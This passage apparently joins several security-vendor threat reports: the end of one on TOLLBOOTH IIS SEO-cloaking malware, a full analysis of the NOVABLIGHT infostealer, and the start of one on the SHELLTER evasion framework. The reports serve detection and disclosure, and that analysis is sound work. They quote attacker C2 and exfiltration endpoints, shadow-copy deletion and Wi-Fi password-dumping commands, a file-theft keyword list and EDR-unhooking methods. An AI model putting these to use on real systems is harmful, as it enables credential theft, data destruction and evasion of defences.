The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of multipart/form-data fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the multipart/form-data parts, a successful file upload can still be triggered.

Management Channel

TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):

Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;

The /health endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at c[.]cseo99[.]com, disk space information, the module's installation path, and the version of TOLLBOOTH.

The /debug endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.

The parsed configuration is accessible at /conf.

The /clean endpoint allows the operator to clear the current configuration by deleting the config files stored locally (clean?type=conf) in order to update them on the victim server, clear any other temporary caches the malware uses (clean?type=conf), or clear both - everything in the C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\ path (clean?type=all).

SEO Cloaking

The main goal of TOLLBOOTH is SEO cloaking, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.

TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.

Both the native and the managed modules are implemented almost identically. The only difference is that native modules v1.6.0 and v1.6.1 check both the User Agent and Referer against the seoGroupRefererMatchRules list, and the .NET module v1.6.1 checks the User Agent against the seoGroupUaMatchRules list and Referer against the seoGroupRefererMatchRules list.

Based on the current configuration, the values for seoGroupUaMatchRules and seoGroupRefererMatchRules are googlebot and google, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both bing and yahoo suggests that those search engines were targeted in the past as well.

The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.

The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the affLinkMainWordSeoResArr configuration field. For each keyword, it generates a "local link" pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving "affiliate link resources" from the affLinkSeoResArr field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like hxxps://f[.]fseo99[.]com//<.txt/.html> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as link farming, is designed to artificially inflate search engine rankings across the entire network of compromised sites.

Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.

URL path prefixes to the SEO pages contain words or phrases from the seoGroupUrlMatchRules config field. This is also referenced in the site redirection logic targeting visitors. These are currently:

stock
invest
summary
datamining
market-outlook
bullish-on
news-overview
news-volatility
video/
app/
blank/

Templates and content for SEO pages are also externally retrieved from URIs that look like hxxps://f[.]fseo99[.]com//<.txt/.html> in the config. Here is an example of what one of the SEO pages looks like:

For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to hxxps://api[.]aseo99[.]com/client/landpage. If the request is successful, the server responds with a JSON object containing a specific landpageUrl, which becomes the destination for the redirect.

If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (window.location.href) and sent to the victim’s browser, forcing an immediate redirection.

Page Hijacker

For the native modules, if the URI path contains xlb, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, mlxya[.]oss-accelerate[.]aliyuncs[.]com/<12_random_alphanumeric_characters>, which is used to retrieve an obfuscated next-stage JavaScript payload.

The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., xlbh, mxlb) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href= or ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses document.write() to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.

Campaign targeting

While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.

We then partnered with @SreekarMad at Validin to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.

At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.

These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.

The collaboration with Validin and Texas A&M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.

Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.

Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.

Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.

Geography

The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a .co.uk domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.

Diamond model

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.

Remediating REF3927

Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.

Therefore, remediation must include rotation of machine keys to a new, properly generated key.

Conclusion

The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.

The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as Elastic Defend during potential incidents.

Detection logic

Detection rules

Web Shell Detection: Script Process Child of Common Web Processes

Prevention rules

YARA signatures

Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:

REF3927 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|---------------------|---------------------------------------------------------------------| | 913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc | SHA-256 | WingtbCLI.exe | HIDDENCLI | | f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1 | SHA-256 | Winkbj.sys | HIDDENDRIVER | | c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2 | SHA-256 | caches.dll | TOLLBOOTH | | c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2 | SHA-256 | scripts.dll | TOLLBOOTH | | 82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788 | SHA-256 | scripts.dll | TOLLBOOTH | | bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3 | SHA-256 | caches.dll | TOLLBOOTH | | 915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964 | SHA-256 | CustomIISModule.dll | TOLLBOOTH | | c[.]cseo99[.]com | domain-name | | TOLLBOOTH config server | | f[.]fseo99[.]com | domain-name | | TOLLBOOTH SEO farming config server | | api[.]aseo99[.]com | domain-name | | TOLLBOOTH crawler reporting & page redirector API | | mlxya[.]oss-accelerate.aliyuncs[.]com | domain-name | | TOLLBOOTH page hijacker payload hosting server | | asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run | domain-name | | TOLLBOOTH page hijacker content-fetching server | | ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run | domain-name | | TOLLBOOTH page hijacker content-fetching server | | bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe | SHA-256 | 1.aspx | Godzilla-forked webshell (Similar sample from VirusTotal) | | 230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9 | SHA-256 | GotoHTTP.exe | GotoHTTP | | Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 | User-Agent | | User-Agent observed during exploitation via IIS ViewState injection |

References

The following were referenced throughout the above research:

Addendum

HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:

https://x.com/securechicken/status/1980715257791193420
https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/

MaaS Appeal: An Infostealer Rises From The Ashes

Jia Yu Chan,Elastic Security Labs — Tue, 29 Jul 2025 00:00:00 GMT

NOVABLIGHT at a glance

NOVABLIGHT is a NodeJS-based Malware-as-a-Service (MaaS) information stealer developed and sold by a threat group that demonstrates French-language proficiency. This is apparent in their discussions and operational communications on their primary sales and support platforms, Telegram and Discord.

Based on our analysis of the latest released version of NOVABLIGHT, the following code snippet suggests that the Sordeal Group, the group behind Nova Sentinel and MALICORD, is responsible for NOVABLIGHT as well.

Key takeaways

NOVABLIGHT is an infostealer described as an educational tool, though Telegram channel messages reveal sensitive information and unredacted screenshots.
NOVABLIGHT licenses are valid for up to one year, and binaries can be generated via Telegram or Discord.
Heavily obfuscated code with many capabilities.

Discovery

Elastic Security Labs identified multiple campaigns leveraging fake video game installer downloads as an initial access lure for MaaS infections of internet users. In one example, the URL http://gonefishe[.]com prompted the user to download a binary and install a French-language version of a game with a name and description comparable to one recently released on Steam.

Distribution, monetization, and community

The group advertised and sold their product on various online platforms, previously Sellix and Sellpass and currently Billgang.

The group sells an API key, which expires between 1 and 12 months. This key can then be used to build an instance of NOVABLIGHT through a Telegram bot or through Discord.

The group promotes a referral program on their Discord channel with API keys as rewards.

Users get access to a dashboard hosted by the group that presents the information collected from victims. The following domains were identified, though others may exist:

api.nova-blight[.]top
shadow.nova-blight[.]top
nova-blight[.]site
nova-blight[.]xyz
bamboulacity.nova-blight[.]xyz

Some of the images used in the dashboard panel are hosted in GitHub repositories associated with different accounts, which helped expose more details about the group.

The GitHub account KSCHcuck1 is a pseudonym similar to that of the previous author of MALICORD, a free version of the earliest version of the stealer that was hosted on GitHub under the account KSCH-58 (WEB ARCHIVE LINK). The X account @KSCH_dsc also possessed similarities, and was actively advertising their "best stealer ever released" as recently as 2023.

The following GitHub accounts have been identified in relation to the group:

Their public Telegram channel hosts tutorials and a community of users. In the following image capture, users are sharing screenshots of the build process.

Users of the infostealer are openly sharing images of luxury items and money transfers, which is notable because NOVABLIGHT is described as being solely for educational purposes.

NOVABLIGHT analysis

NOVABLIGHT is a modular and feature-rich information stealer built on NodeJS with the Electron framework. Its capabilities go beyond simple credential theft, incorporating methods for data collection and exfiltration, sandbox detection, and heavy obfuscation.

A notable aspect of the malware's build process is its modular configuration. Although a customer can choose to disable specific features, the underlying code for those functions remains within the final payload; it is dormant and won’t be executed based on the build's configuration flags.

Code snippets in this report are from a non-obfuscated version 2.0 sample, when implementation details match version 2.2 samples, or from our manually de-obfuscated code of a version 2.2 sample when they differ.

Code structure

From initial setup to data theft, the infostealer is organized into a clear, multi-stage pipeline managed by high-level "flow" controllers. The primary stages are:

flow/init: Pre-flight checks (running instances, admin privileges, internet connectivity), anti-analysis checks, system info enumeration, establish persistence, etc.
flow/injecting: Application injection and patching (Atomic, Mullvad, Discord, …)
flow/grabb: Data harvesting
flow/ClipBoard: Clipboard hijacking
flow/sending: Data exfiltration
flow/disable: System sabotage (disable Windows Defender, system anti-reset, broken Internet connectivity, …)
flow/cleaning: Post-exfiltration cleanup

For more insights into the code structure, check out this GitHub Gist, which lists the direct dependencies for each of NOVABLIGHT’s core modules and execution flows.

Anti-debug and sandbox detection

NOVABLIGHT incorporates multiple techniques to detect and evade analysis environments, combining environment fingerprinting with active countermeasures. These checks include:

Detecting VM-related GPU names (vmware, virtualbox, qemu)
Checking for blacklisted usernames (sandbox, test, malware)
Identifying VM-specific driver files (balloon.sys, qemu-ga)
Checking for low screen resolution and lack of USB devices
Querying GitHub for blacklists of IPs, HWIDs, usernames, programs, organizations, GPU names, PC names, and Operating Systems
Actively killing known analysis and debugging tools found in a remote list

The blacklists are hosted on GitHub:

Disable Defender & attempts to disable Task Manager

NOVABLIGHT attempts to disable Windows Defender and related Windows security features by downloading and executing a batch script, DisableWD.bat, from a public GitHub repository.

The malware claims to be capable of disabling the Task Manager, making it difficult for a non-technical user to identify and terminate the malicious program. It uses setValues from the regedit-rs package to set the DisableTaskMgr value to 1 under HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System.

However, looking at the regedit-rs repo (v1.0.3 to match), there are no exported functions named setValues, only putValue. This functionality may not work as intended.

js-binding.js from the regedit-rs GitHub repo" title="Snippet of js-binding.js from the regedit-rs GitHub repo" />

Disable internet access

To disrupt the victim's internet connection, the malware employs two distinct methods. The first involves persistently disabling the Wi-Fi adapter by repeatedly resetting it in a rapid loop, utilizing the external npm package wifi-control and its resetWiFi function.

The second method disables the primary “Ethernet” network adapter using the netsh command, running it every 5 seconds to disable re-enabling attempts.

Defeat system recovery

The malware can sabotage system recovery by disabling the Windows Recovery Environment (reagentc /disable) and deleting all Volume Shadow Copies (vssadmin delete shadows /all) when the antireset flag is enabled in the configuration.

Blocking file deletion

Another system sabotage function that might be apparent to the victim involves making the malware’s own executable file undeletable by modifying its security permissions through icacls “${filePath}” /deny ${currentUser}:(DE,DC) where DE denies delete rights and DC prevents deletion via the parent folder and optionally creating a pop-up message box containing a “troll” message.

Before locking itself, it also executes a PowerShell command to remove the victim’s account from the following system groups: Administrators, Power Users, Remote Desktop Users, Administrateurs.

Clipboard address substitution

The malware implements a "clipper" module that actively monitors the clipboard of the machine for any Crypto or Paypal addresses and replaces them with addresses defined in the configuration, if the user who built the payload did not provide their own addresses, the malware defaults to a hardcoded set, presumably controlled by the developers to capture funds from their less experienced users.

Electron application injections

NOVABLIGHT can inject malicious code into several popular Electron-based applications. The payloads are dynamically fetched from the endpoint https://api.nova-blight[.]top/injections/*targeted_application*/*some_key*, targeting applications such as:

Discord client
Exodus wallet
Mullvad VPN client
Atomic wallet
Mailspring email client

We were able to retrieve all of the modules from a public GitHub repository.

The injection implementation is a classic example of Electron App repacking: unpacking the ASAR file, rewriting any targeted source files, then repacking it. Looking at an example involving the Mullvad client, it first unpacks Program Files\\Mullvad VPN\\resources\\app.asar into a temporary directory, fetches a backdoored version of account.js from https://api.nova-blight[.]top/injections/mullvad/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s, overwrites the source file account.js, and finally repacks it. While it might still work for older versions of Mullvad such as 2025.4, this does not seem to work on the latest version of Mullvad.

In a similar case for the Exodus client, the NOVABLIGHT developers modified the setPassphrase function in the main module of the Exodus application, with additional credential-stealing functionalities.
This is what main/index.js looks like in a legitimate release of Exodus 25.28.4:

main/index.js in the Exodus client" title="Original logic of main/index.js in the Exodus client" />

In the trojanized index.js, user-entered passphrases are exfiltrated via configurable Discord webhooks and Telegram - using either the official Telegram API or a custom Telegram API proxy.

index.js" title="Trojanized index.js" />

Chrome sensitive data extraction

For targeting Chromium-based browsers (Brave, Chrome, Edge) running on version 137, the malware downloads a zip file containing a Chrome data decryption tool from https://github.com/Hyutop/pandakmc-auto-vote/blob/main/bin.zip.

The GitHub repository attempts to masquerade as a Minecraft voting management tool.

However, the zip file bin.zip contains the compiled code (decrypt.exe and chrome_decrypt.dll) of version 0.11.0 of the Chrome App-bound decrypter PoC project by xaitax.

System enumeration

Once active, NOVABLIGHT executes a comprehensive suite of system enumeration functions designed to build a complete profile of the victim's machine and user activity. Each module targets a specific piece of information, which is then saved to a local directory before being uploaded to the command-and-control server. Detection engineers should note the specific implementations of each technique, and which data source(s) provide sufficient visibility.

captureSystemInfo(): Gathers extensive hardware and software specifications to fingerprint the device. This includes the Hardware ID (HWID), CPU and GPU models, RAM size, disk information, Windows OS version, and a list of all connected USB devices.
Output: *configured_path*/System Info.txt

captureScreen(): Captures a full screenshot of the victim's desktop, providing immediate insight into the user's current activity.
Method: Utilizes the screenshot-desktop library.
Output: A timestamped image file (e.g., configured_path/hostname_2025-10-26_14-30-00.png`).
captureTaskList(): Obtains a list of all currently running processes for situational awareness, allowing the attacker to see what applications and security tools are active.
Method: Executes the command tasklist /FO CSV /NH.
Output: *configured_path*/TaskManagerInfo.txt
captureAVDetails(): Identifies the installed antivirus or endpoint protection product by querying the Windows Security Center.
Method: Executes the PowerShell command Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct | Format-List
Output: *configured_path*/Avdetails.txt
captureClipboardContent(): Dumps the current content of the user's clipboard, which can contain sensitive, transient information like passwords or copied messages.
Method: Executes the PowerShell command Get-Clipboard.
Output: *configured_path*/Clipboard.txt
captureWebcamVideo(): Covertly records a video using the system's primary webcam, providing visual intelligence on the victim and their environment.
Method: Leverages the direct-synch-show library for video capture.
Output: *configured_path*/Bighead.avi
captureWifiPasswords(): Exfiltrates the passwords for all saved Wi-Fi networks on the device, allowing for potential lateral movement or access to other networks the victim uses.
Method: Executes the command netsh wlan show profile *wifi_ssid* key=clear for each profile.
Output: *configured_path*/WifiPasswords.txt
getFilesUrgents: This functionality exfiltrate files on disk according to a set of keywords as follow: backup, default, code, discord, token, passw, mdp, motdepasse, mot_de_passe, login, secret, account, acount, apacht, banque, bank, matamask, wallet, crypto, exdous, 2fa, a1f, memo, compone, finance, seecret, credit, cni, these files are archived as files.zip then sent to the C2.

Data exfiltration

There are 3 channels for the stolen data: the official web panel owned by the NOVABLIGHT group, the Discord webhook API, and the Telegram API. The status of these channels is uncertain, as the main proxy API and web panel are currently down, which may disrupt the functionality of the Discord and Telegram channels if they rely on the same proxy infrastructure.

The web panel was once the official exfiltration channel, as it was advertised as their primary data management platform.

The Telegram implementation first tries to send the data to a configured proxy URL, the code checks if the URL contains the string req in this case https://bamboulacity.nova-blight[.]xyz/req/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s.

If the proxy URL is not configured or does not meet the condition, the module falls back to communicating directly with the official Telegram API (at https://api.telegram[.]org/bot*token*/sendMessage) using a configured userId, chatId and botToken to send the stolen data.

Unlike the Telegram module, the Discord webhook implementation is much simpler. It utilizes a single URL for exfiltration with no fallback mechanism. The analyzed samples consistently used the custom proxy URL for this purpose.

NOVABLIGHT employs a redundant and multi-tiered infrastructure. Instead of relying on a single upload host, which would create a single point of failure, the malware leverages a combination of legitimate third-party file-hosting services and its own dedicated backend. The following is the extracted list of domains and endpoints:

https://bashupload[.]com
https://litterbox.catbox[.]moe/resources/internals/api.php
https://tmpfiles[.]org/api/v1/upload
https://oshi[.]at/
http://sendfile[.]su/
https://wsend[.]net
https://api.gofile[.]io/servers
https://gofile[.]io/uploadFiles
https://rdmfile[.]eu/api/upload
https://bamboulacity.nova-blight[.]xyz/file/

Targeted data

NOVABLIGHT executes targeted routines designed to steal credentials and session files from a specific list of installed software. The curated list is available in this GitHub Gist.

Obfuscation techniques

Array mapping

The first technique to tackle is the malware’s use of array mapping. The script initializes a single large global array __p_6Aeb_dlrArray with values of different types and encoding, which accounts for nearly all literal values used in the script.

After substituting array index references, many small string chunks that make up a full string are split and concatenated at runtime, but at this stage, the NOVABLIGHT versioning number can be identified easily.

__p_6Aeb_dlrArray" title="Results after fixing array mapping for __p_6Aeb_dlrArray" />

String encoding

The second technique used to hide strings is the usage of base91 encoding. The function wrapper __p_xIFu_MAIN_STR is called with an integer argument.

The integer is an index of a secondary array mapping __p_9sMm_array that contains encoded strings. It retrieves the encoded string and passes it to the decoding routine __p_xIFu_MAIN_STR_decode.

__p_xIFu_MAIN_STR" title="Global array used for lookup by __p_xIFu_MAIN_STR" />

__p_xIFu_MAIN_STR_decode will then decode it using a custom alphabet:
vFAjbQox\>5?4K$m=83GYu.nBIh\ and return the decoded string.



Access pattern obfuscation
Instead of accessing objects and functions directly, the code uses intermediate flattened “proxy” objects with mangled keys, wrapping objects in another layer of objects to hide the original access patterns. 
For example, the function __p_LQ1f_flat_… is passed a flat object __p_w3Th_flat_object. This object contains 3 get accessors for properties, one of which returns the disableNetwork flag retrieved from the config, and a wrapper for a dispatcher call (__p_jGTR_dispatcher_26). Throughout the code, there is a pattern where the property names start with empretecerian.js, which happens to also be the script file’s name. The callee function can then access the actual objects and functions through this flat object populated by the caller.

Control flow obfuscation
Some of the code’s execution path is routed through a central dispatcher,  __p_jGTR_dispatcher_26, in which the first argument name takes a short ID string.

Each ID is mapped to a distinct function. For example, the ID jgqatJ is referenced by the modules/init/Troll.js module and it is responsible for a “troll” popup message box.

Proxy variables
First, the obfuscation transforms function syntax to “rest parameters syntax” which replaces the parameters with an array that stores variable values instead of direct variables, the code then references the array with numerical values. For instance, the function __p_xIFu_MAIN_STR_decode is not called with direct parameters. Instead, its arguments are first placed into the __p_A5wG_varMask array (line 22), and the function is programmed to retrieve them from predefined indices. For example, at line 25, the index -36 of the array stores the index of the character "c" in a string stored in __p_A5wG_varMask[171].

NOVABLIGHT and MITRE ATT&CK
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
Tactics

Execution  
Persistence  
Defense Evasion  
Credential Access  
Discovery  
Collection  
Command and Control  
Exfiltration

Techniques

Obfuscated Files or Information  
Process Discovery  
Command and Scripting Interpreter: PowerShell  
Command and Scripting Interpreter: JavaScript  
Data Staged: Local Data Staging  
System Information Discovery  
File and Directory Discovery  
Screen Capture  
Clipboard Data  
Video Capture  
Virtualization/Sandbox Evasion: System Checks  
Account Access Removal  
Credentials from Password Stores: Credentials from Web Browsers  
Impair Defenses: Disable or Modify Tools  
Exfiltration Over Web Service: Exfiltration to Cloud Storage

Conclusion
NOVABLIGHT shows how even lesser-known malware can make an impact. By offering a polished, easy-to-use tool through platforms like Telegram and Discord, its creators have made it simple for anyone to get involved in cybercrime.  
Furthermore, this threat is not static. Our analysis confirms that NOVABLIGHT is under continuous and active development. This ongoing evolution ensures that NOVABLIGHT will remain a persistent and relevant threat for the foreseeable future.
Detecting NOVABLIGHT
YARA
Elastic Security has created YARA rules to identify this activity.
```yara

rule Windows_Infostealer_NovaBlight {
    meta:
        author = "Elastic Security"
        creation_date = "2025-07-18"
        last_modified = "2025-07-28"
        os = "Windows"
        arch = "x86"
        category_type = "Infostealer"
        family = "NovaBlight"
        threat_name = "Windows.Infostealer.NovaBlight"
        reference_sample = "d806d6b5811965e745fd444b8e57f2648780cc23db9aa2c1675bc9d18530ab73"
strings:
    $a1 = "C:\\Users\\Administrateur\\Desktop\\Nova\\"
    $a2 = "[+] Recording..." fullword
    $a3 = "[+] Capture start" fullword
condition:
    all of them

}
```
Observations
The following observables were discussed in this research.
| Observable | Type | Name | Reference |
| :---- | :---- | :---- | :---- |
| ed164ee2eacad0eea9dc4fbe271ee2b2387b59929d73c843281a8d5e94c05d64 | SHA-256 |  | NOVABLIGHT VERSION 2.2 |
| 39f09771d70e96c7b760b3b6a30a015ec5fb6a9dd5bc1e2e609ddf073c2c853d | SHA-256 |  | NOVABLIGHT VERSION 2.1 |
| 97393c27195c58f8e4acc9312a4c36818fe78f2ddce7ccba47f77a5ca42eab65 | SHA-256 |  | NOVABLIGHT VERSION 2.0 |
| api.nova-blight[.]top | DOMAIN |  | NOVABLIGHT dashboard |
| shadow.nova-blight[.]top | DOMAIN |  | NOVABLIGHT dashboard |
| nova-blight[.]site | DOMAIN |  | NOVABLIGHT dashboard |
| nova-blight[.]xyz | DOMAIN |  | NOVABLIGHT dashboard |
| bamboulacity.nova-blight[.]xyz | DOMAIN |  | NOVABLIGHT dashboard |
References
The following were referenced throughout the above research:

https://www.gatewatcher.com/lab/groupe-nova-sentinel/  
https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/



Taking SHELLTER: a commercial evasion framework abused in-the-wild
Seth Goodwin,Daniel Stepanic,Jia Yu Chan,Samir Bousseaden — Thu, 03 Jul 2025 00:00:00 GMT
Introduction
Elastic Security Labs is observing multiple campaigns that appear to be leveraging the commercial AV/EDR evasion framework, SHELLTER, to load malware. SHELLTER is marketed to the offensive security industry for sanctioned security evaluations, enabling red team operators to more effectively deploy their C2 frameworks against contemporary anti-malware solutions.
Key takeaways

Commercial evasion framework SHELLTER acquired by threat groups  
SHELLTER has been used in multiple infostealer campaigns since April 2025, as recorded in license metadata  
SHELLTER employs unique capabilities to evade analysis and detection  
Elastic Security Labs releases dynamic unpacker for SHELLTER-protected binaries

Throughout this document we will refer to different terms with “shellter” in them. We will try to 
maintain the following style to aid readability:
  *  “Shellter Project” - the organization that develops and sells the Shellter evasion framework
  *  “Shellter Pro Plus/Elite” - the commercial names for the tools sold by the Shellter Project
  *  “SHELLTER” - the loader we have observed in malicious usage and are detailing in this report
  *  “SHELLTER-protected” - a descriptor of final payloads that the SHELLTER loader delivers

SHELLTER Overview
SHELLTER is a commercial evasion framework that has been assisting red teams for over a decade. It helps offensive security service providers bypass anti-virus and, more recently, EDR tools. This allows red teams to utilize their C2 frameworks without the constant development typically needed as security vendors write detection signatures for them.
While the Shellter Project does offer a free version of the software, it has a limited feature-set, 
only 32-bit .exe support, and is generally better understood and detected by anti-malware 
products. The free version is not described in this article.

SHELLTER, like many other offensive security tools (OSTs), is a dual-use product. Malicious actors, once they gain access to it, can use SHELLTER to extend the lifespan of their tools. Reputable offensive security vendors, such as the Shellter Project, implement safeguards to mitigate the risk of their products being used maliciously. These measures include geographic sales limits, organizational due diligence, and End User License Agreements (EULAs). Despite these efforts, highly motivated malicious actors remain a challenge.

In mid-June, our research identified multiple financially motivated infostealer campaigns that have been using SHELLTER to package payloads beginning late April 2025. Evidence suggests that this is the Shellter Elite version 11.0, which was released on April 16, 2025. 
SHELLTER is a complex project offering a wide array of configurable settings tailored for specific operating environments, payload delivery mechanisms, and encryption paradigms. This report focuses exclusively on features observed in identified malicious campaigns. While some features appear to be common, a comprehensive review of all available features is beyond the scope of this document.
SHELLTER Loader - Technical Details
The following sections describe capabilities that resemble some of the Shellter Project’s published Elite Exclusive Features. Our assessment indicates that we are observing Shellter Elite. This conclusion is based on a review of the developer's public documentation, observation of various samples from different builds with a high degree of code similarity, and the prevalence of evasion features scarcely observed.
Polymorphic Junk Code
SHELLTER-protected samples commonly employ self-modifying shellcode with polymorphic obfuscation to embed themselves within legitimate programs. This combination of legitimate instructions and polymorphic code helps these files evade static detection and signatures, allowing them to remain undetected.
By setting a breakpoint on VirtualAlloc in a SHELLTER-protected RHADAMANTHYS sample, we can see the call stack of this malware sample.

This type of polymorphic code confuses static disassemblers and impairs emulation efforts. These instructions show up during the unpacking stage, calling one of these pairs of Windows API functions to allocate memory for a new shellcode stub:

GetModuleHandleA / GetProcAddress  
CreateFileMappingW / MapViewOfFile


The SHELLTER functionality is contained within a new, substantial function. It’s reached after additional unpacking and junk instructions in the shellcode stub. IDA Pro or Binary Ninja can successfully decompile the code at this stage.

Unhooking System Modules via File-mappings
To bypass API hooking techniques from AV/EDR vendors, SHELLTER maps a fresh copy of ntdll.dll via NtCreateSection and NtMapViewOfSection. 

There is also a second option for unhooking by loading a clean ntll.dll from the KnownDLLs directory via NtOpenSection and NtMapViewOfSection.

Payload Encryption and Compression
SHELLTER encrypts its final, user-defined payloads using AES-128 CBC mode. This encryption can occur in one of two ways:

Embedded key/IV: A randomly generated key/IV pair is embedded directly within the SHELLTER payload.  
Server-fetched key/IV: The key/IV pair is fetched from an adversary-controlled server.

For samples that utilized the embedded option, we successfully recovered the underlying payload.

The encrypted blobs are located at the end of each SHELLTER payload. 

The AES key and IV can be found as constants being loaded into stack variables at very early stages of the payload as part of its initialization routine.

In Shellter Elite v11.0, by default, payloads are compressed using the LZNT1 algorithm before being encrypted.
DLL Preloading & Call Stack Evasion
